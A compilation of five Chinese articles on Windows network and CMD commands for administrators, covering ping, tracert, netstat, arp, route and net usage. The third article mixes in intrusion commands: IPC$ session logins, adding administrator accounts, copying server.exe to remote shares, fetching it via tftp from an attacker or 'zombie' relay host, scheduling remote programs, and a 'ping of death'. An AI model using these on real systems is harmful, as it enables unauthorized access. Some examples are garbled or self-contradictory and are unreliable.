WIN技巧:[]你必须学会的几个常用网络测试命令!(共5篇)

WIN技巧:[]你必须学会的几个常用网络测试命令!

       如果你是一个网络维护人员,那么肯定要经常处理网络故障,了解和掌握下面几个 命令将会有助于您更快地检测到网络故障所在,从而节省时间,提高效率,

       Ping

       Ping是测试网络联接状况以及信息包发送和接收状况非常有用的工具,是网络测试最

       常用的命令。Ping向目标主机(地址)发送一个回送请求数据包,要求目标主机收到请求后给予答复,从而判断网络的响应时间和本机是否与目标主机(地址)联通。

       如果执行Ping不成功,则可以预测故障出现在以下几个方面:网线故障,网络适配器配置不正确,IP地址不正确。如果执行Ping成功而网络仍无法使用,那么问题很可能出在网络系统的软件配置方面,Ping成功只能保证本机与目标主机间存在一条连通的物理路径。

       命令格式:

       ping IP地址或主机名 [-t] [-a] [-n count] [-l size]

       参数含义:

       -t不停地向目标主机发送数据;

       -a 以IP地址格式来显示目标主机的网络地址 ;

       -n count 指定要Ping多少次,具体次数由count来指定 ;

       -l size 指定发送到目标主机的数据包的大小。

       例如当您的机器不能访问Internet,首先您想确认是否是本地局域网的故障。假定局域网的代理服务器IP地址为202.168.0.1,您可以使用Ping避免202.168.0.1命令查看本机是否和代理服务器联通。又如,测试本机的网卡是否正确安装的常用命令是ping 127.0.0.1。

       Tracert

       Tracert命令用来显示数据包到达目标主机所经过的路径,并显示到达每个节点的时间。命令功能同Ping类似,但它所获得的信息要比Ping命令详细得多,它把数据包所走的全部路径、节点的IP以及花费的时间都显示出来。该命令比较适用于大型网络。

       命令格式:

       tracert IP地址或主机名 [-d][-h maximumhops][-j host_list] [-w timeout]

       参数含义:

       -d 不解析目标主机的名字;

       -h maximum_hops 指定搜索到目标地址的最大跳跃数;

       -j host_list 按照主机列表中的地址释放源路由;

       -w timeout 指定超时时间间隔,程序默认的时间单位是毫秒,

       例如大家想要了解自己的计算机与目标主机.cce.com.cn之间详细的传输路径信息,可以在MS-DOS方式输入tracert .cce.com.cn。

       如果我们在Tracert命令后面加上一些参数,还可以检测到其他更详细的信息,例如使用参数-d,可以指定程序在跟踪主机的路径信息时,同时也解析目标主机的域名。

       Netstat

       Netstat命令可以帮助网络管理员了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息,例如显示网络连接、路由表和网络接口信息,可以统计目前总共有哪些网络连接正在运行。

       利用命令参数,命令可以显示所有协议的使用状态,这些协议包括TCP协议、UDP协议以及IP协议等,另外还可以选择特定的协议并查看其具体信息,还能显示所有主机的端口号以及当前主机的详细路由信息。

       命令格式:

       netstat [-r] [-s] [-n] [-a]

       参数含义:

       -r 显示本机路由表的内容;

       -s 显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议);

       -n 以数字表格形式显示地址和端口;

       -a 显示所有主机的端口号。

       Winipcfg

       Winipcfg命令以窗口的形式显示IP协议的具体配置信息,命令可以显示网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等,还可以查看主机名、DNS服务器、节点类型等相关信息。其中网络适配器的物理地址在检测网络错误时非常有用。

       命令格式:

       winipcfg [/?] [/all]

       参数含义:

       /all 显示所有的有关IP地址的配置信息;

       /batch [file] 将命令结果写入指定文件;

       /renew_ all 重试所有网络适配器;

       /release_all 释放所有网络适配器;

       /renew N 复位网络适配器 N;

       /release N 释放网络适配器 N。

       在Microsoft的Windows 95及其以后的操作系统中,都可以运行以上命令。

       本人知识有限呀,只可以讲这一些呀!高手补充!谢谢!

       呵呵!!!

篇2:WIN技巧:再说网络命令程序的补充

       1、winipcfg命令在Windows中无效,可以用ipconfig代替,

       方法:DOS方式直接键入ipconfig/ALL。

       操作环境:win98或WIN2K

       作用:

       显示网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等,还可以看主机的相关信息如:主机名、DNS服务器、节点类型等。其中网络适配器的物理地址在检测网络错误时非常有用。在命令提示符下键入ipconfig/?可获得ipconfig的使用帮助,键入ipconfig all可获得IP配置的所有属性。

       2、命令netstat

       此命令显示协议统计和当前的TCP/IP网络连接。netstat是Windows下的网络检测工具,而且也是需要在安装了TCP/IP协议以后才可以使用的。

       方法:DOS方式直接键入netstat。

       操作环境:win98或WIN2K

       例1、怎样知道自己的计算机是否被开了“后门”?

       netstat -a

       显示出你的计算机当前所开放的所有端口,其中包括TCP端口和UDP端口。你经常的使用它,以此来查看计算机的系统服务是否正常,是否被“ ”留下后门,木马等。由于这个参数同时还会显示出当前计算机有什么人的IP正连接着你的服务器,所以也是一种实时入侵检测工具,如发现有个IP连接着不正常的端口,你也可以及时做出有效对策。

       例2、怎样知道连接到我的计算机的IP地址?

       netstat -n

       参数-n告诉netstat不解析对方计算机的NetBios名.

       作用:列举出来当前和你连接的所有计算机。

       例3、详细网络资料,供高手研究。

       netstat -s -e

       默认情况下,显示 TCP、UDP、ICMP 和 IP的统计,比如你接受了多少数据包,多少字节,有多少TCP端口打开,有多少UDP端口打开。

       3、命令nbtstat

       该命令使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。

       方法:DOS方式直接键入nbtstat。

       操作环境:win98或WIN2K

       例:怎样知道对方计算机名,所在的组、域及当前用户名?

       nbtstat -a 192.168.0.1(对方IP地址)

       4、命令ARP

       显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表,

       该命令只有在安装了 TCP/IP

       协议之后才可用。

       arp -a [inet_addr] [-N [if_addr]]

       arp -d inet_addr [if_addr]

       arp -s inet_addr ether_addr [if_addr]

       例1、怎样知道谁正在连接我的计算机?

       arp -a

       例2、利用捆绑IP和MAC解决局域网内盗用IP的问题。

       查看网卡MAC地址,用ipconfig。记录网卡MAC地址,再到代理服务器端让网络管理员把您上网的静态IP地址与所记录计算机的网卡地址进行捆绑。具体命令是:

       ARP -s 192.168.0.16 00-EO-4C-6C-08-75

       这样,就将您上网的静态IP地址192.168.0.16与网卡地址为44-55-43-54-00-00的计算机绑定在一起了,即使别人盗用您的IP地址192.168.0.4也无法通过代理服务器上网。其中应注意的是此项命令仅在局域网中上网的代理服务器端有用,还要是静态IP地址。

       5、route命令

       该命令管理路由表。

       例1、显示本机路由信息,帮助解决网络路由问题。

       route print /netstat -r

       例2、用ROUTE命令实现跨网段访问

       一台计算机有两块网卡(IP分别为192.168.0.6和10.41.0.14),分别连接不同网段的局域网。在win98下利用ROUTE命令实现跨网段访问。

       route delete 0.0.0.0

       route add 192.168.0.0 mask 255.255.255.0 10.41.0.14 metric

       route add 0.0.0.0 mask 255.255.255.0 10.41.0.254 metric

       其中10.41.0.254为局域网网关。

       例3、解决拨号上网后不能访问局域网的问题。

       一台计算机(10.41.221.17)属于局域网,通过路由器10.41.221.254连接其它网络(10.41.220.0)。现通过10.41.221.17拨号上Internet后,出现无法通过路由器连接其它网络的现象。原因当然是默认网关被修改了。解决的办法是:

       route add 10.41.220.0 mask 255.255.255.0 10.41.221.254

篇3:WIN技巧:网管必须掌握的:CMD命令值得一看

       net use [url=file://ip/ipc$]\ipipc$[/url] “ ” /user:“ ” 建立IPC空链接

       net use [url=file://ip/ipc$]\ipipc$[/url] “密码” /user:“用户名” 建立IPC非空链接

       net use h: [url=file://ip/c$]\ipc$[/url] “密码” /user:“用户名” 直接登陆后映射对方C:到本地为H:

       net use h: [url=file://ip/c$]\ipc$[/url] 登陆后映射对方C:到本地为H:

       net use [url=file://ip/ipc$]\ipipc$[/url] /del 删除IPC链接

       net use h: /del 删除映射对方到本地的为H:的映射

       net user 用户名 密码 /add 建立用户

       net user guest /active:yes 激活guest用户

       net user 查看有哪些用户

       net user 帐户名 查看帐户的属性

       net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数

       net start 查看开启了哪些服务

       net start 服务名 开启服务;(如:net start telnet, net start schedule)

       net stop 服务名 停止某服务

       net time \目标ip 查看对方时间

       net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

       net view 查看本地局域网内开启了哪些共享

       net view [url=file://ip/]\ip[/url] 查看对方局域网内开启了哪些共享

       net config 显示系统网络设置

       net logoff 断开连接的共享

       net pause 服务名 暂停某服务

       net send ip “文本信息” 向对方发信息

       net ver 局域网内正在使用的网络连接类型和信息

       net share 查看本地开启的共享

       net share ipc$ 开启ipc$共享

       net share ipc$ /del 删除ipc$共享

       net share c$ /del 删除C:共享

       net user guest 12345 用guest用户登陆后用将密码改为12345

       net password 密码 更改系统登陆密码

       netstat -a 查看开启了哪些端口,常用netstat -an

       netstat -n 查看端口的网络连接情况,常用netstat -an

       netstat -v 查看正在进行的工作

       netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

       netstat -s 查看正在使用的所有协议使用情况

       nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写

       tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔,

       ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

       ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

       ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

       tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

       kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

       del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

       del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

       move 盘符路径\要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

       fc one.txt two.txt >3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,“>”和“>>” 是重定向命令

       at id号 开启已注册的某个计划任务

       at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

       at id号 /delete 停止某个已注册的计划任务

       at 查看所有的计划任务

       at [url=file://ip/]\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

       finger username @host 查看最近有哪些用户登陆

       telnet ip 端口 远和登陆服务器,默认端口为23

       open ip 连接到IP(属telnet登陆后的命令)

       telnet 在本机上直接键入telnet 将进入本机的telnet

       copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

       copy c:srv.exe [url=file://ip/***$]\ip***$[/url] 复制本地c:srv.exe到对方的***下

       cppy 1st.jpg/b 2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

       copy [url=file://ip/***$/svv.exe]\ip***$svv.exe[/url] c: 或:copy\ip***$*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:

       xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

       tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

       tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机

       ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

       route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

       arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

       start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

       mem 查看cpu使用情况

       attrib 文件名(目录名) 查看某文件(目录)的属性

       attrib 文件名 -A -R -S -H 或 A R S H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

       dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

       date /t 、time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

       set 指定环境变量名称=要指派给变量的字符 设置环境变量

       set 显示当前所有的环境变量

       set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

       pause 暂停批处理程序,并显示出:请按任意键继续....

       if 在批处理程序中执行条件处理(更多说明见if命令及变量)

       goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

       call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

       for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

       echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

       echo 信息 在屏幕上显示出信息

       echo 信息 >>pass.txt 将“信息”保存到pass.txt文件中

       findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello

       find 文件名 查找某文件

       title 标题名字 更改CMD窗口标题名字

       color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

       prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )

       ver 在DOS窗口下显示版本信息

       winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

       format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

       md 目录名 创建目录

       replace 源文件 要替换文件的目录 替换文件

       ren 原文件名 新文件名 重命名文件名

       tree 以树形结构显示出目录,用参数-f 将列出4:的网络命令网络技巧

       实用的网络命令

       1.最基本,最常用的,测试物理网络的

       ping 192.168.0.8 -t ,参数-t是等待用户去中断测试

       2.查看DNS、IP、Mac等

       A.Win98:winipcfg

       B.Win以上:Ipconfig/all

       C.NSLOOKUP:如查看河北的DNS

       C:/>nslookup

       Default Server: ns.hesjptt.net.cn

       Address: 202.99.160.68

       >server 202.99.41.2 则将DNS改为了41.2

       >pop.pcpop.com

       Server: ns.hesjptt.net.cn

       Address: 202.99.160.68

       Non-authoritative answer:

       Name: pop.pcpop.com

       Address: 202.99.160.212

       3.网络信使 (经常有人问的~)

       Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段

       net stop messenger 停止信使服务,也可以在面板-服务修改

       net start messenger 开始信使服务

       4.探测对方对方计算机名,所在的组、域及当前用户名 (追捕的工作原理)

       ping -a IP -t ,只显示NetBios名

       nbtstat -a 192.168.10.146 比较全的

       5.netstat -a 显示出你的计算机当前所开放的所有端口

netstat -s -e 比较详细的显示你的网络资料,包括TCP、UDP、ICMP 和 IP的统计等

       6.探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址

       arp -a

       7.在代 理服务器端

       捆绑IP和MAC地址,解决局域网内盗用IP!:

       ARP -s 192.168.10.59 00 -50-ff-6c-08-75

       解除网卡的IP与MAC地址的绑定:

       arp -d 网卡IP

       8.在网络邻居上隐藏你的计算机 (让人家看不见你!)

       net config server /hidden:yes

       net config server /hidden:no 则为开启

       9.几个net命令

       A.显示当前工作组服务器列表 net view,当不带选项使用本 命令时,它就会显示当前域或网络上的计算机上的列表,

       

       实用的网络命令网络技巧

       ,

       比如:查看这个IP上的共享资源,就可以

       C:/>net view 192.168.10.8

       在 192.168.10.8 的共享资源

       资源共享名 类型 用途 解释

       --------------------------------------

       网站服务 Disk

       命令成功完成。

       B.查看计算机上的用户帐号列表 net user

       C.查看网络链接 net use

       例如:net use z: //192.168.10.8/movie 将这个IP的movie共享目录映射为本地的Z盘

       D.记录链接 net session

       例如:

C:/>net session

       计算机 用户名 客户类型 打开空闲时间

       -------------------------------------------------------------------------------

       //192.168.10.110 ROME Windows 2000 2195 0 00:03:12

       //192.168.10.51 ROME Windows 2000 2195 0 00:00:39

       命令成功完成。

篇5:的网络常用测试命令(tracert命令)

       tracert (traceroute 路由跟踪)

       跟踪路由信息,使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径,这对我们了解网络布局和结构很有帮助,

       格式:tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] [-R ] [-S srcaddr] [-4] [-6] target_name

       参数,还是简单介绍几个:

       -d :不将地址解析成主机名,因此可以更快地显示路由器路径。

       -j : 按照主机列表中的地址释放源路由

       -w : 指定超时时间间隔,程序默认的时间单位是毫秒

       其它参数同样在DOS命令下输入tracert或tracert /? 就会出现相应帮助(如下)。

       最简单的用法就是“tracert hostname”,其中“hostname”是计算机名或想跟踪其路径的计算机的IP地址,tracert将返回他到达目的地的各种IP地址.

       原理:Traceroute从源主机发送一连串的数据报,数据报中封装的是无法交付的UDP用户数据报(使用了非法的端口号),

       第一个数据报P1的生存时间TTL设置为1,。当P1到达路径上的第一个路由器R1时,路由器R1先收下它,,接着把TTL减1.由于TTL等于零了,R1就把P1丢弃了,并向源主机发送一个ICMP时间超过差错报告报文。源主机接着发送第二个数据报P2,并把TTL设置成2。P2先到达路由器R1,R1收下后把TTL减1再转发给路由器R2,R2收到P2时TTl为1,但减1后TTl变为零了。R2就丢弃P2,并向源主机发送一个ICMP时间超过差错报告报文。如此重复,知道源主机发送的数据报到达目的主机为止,这些路由器和最后的目的主机发来的ICMP报文给出了源主机想知道的路由信息。

       下面看一下我用tracert命令测试的本地主机到.csdn.net之间的路径信息: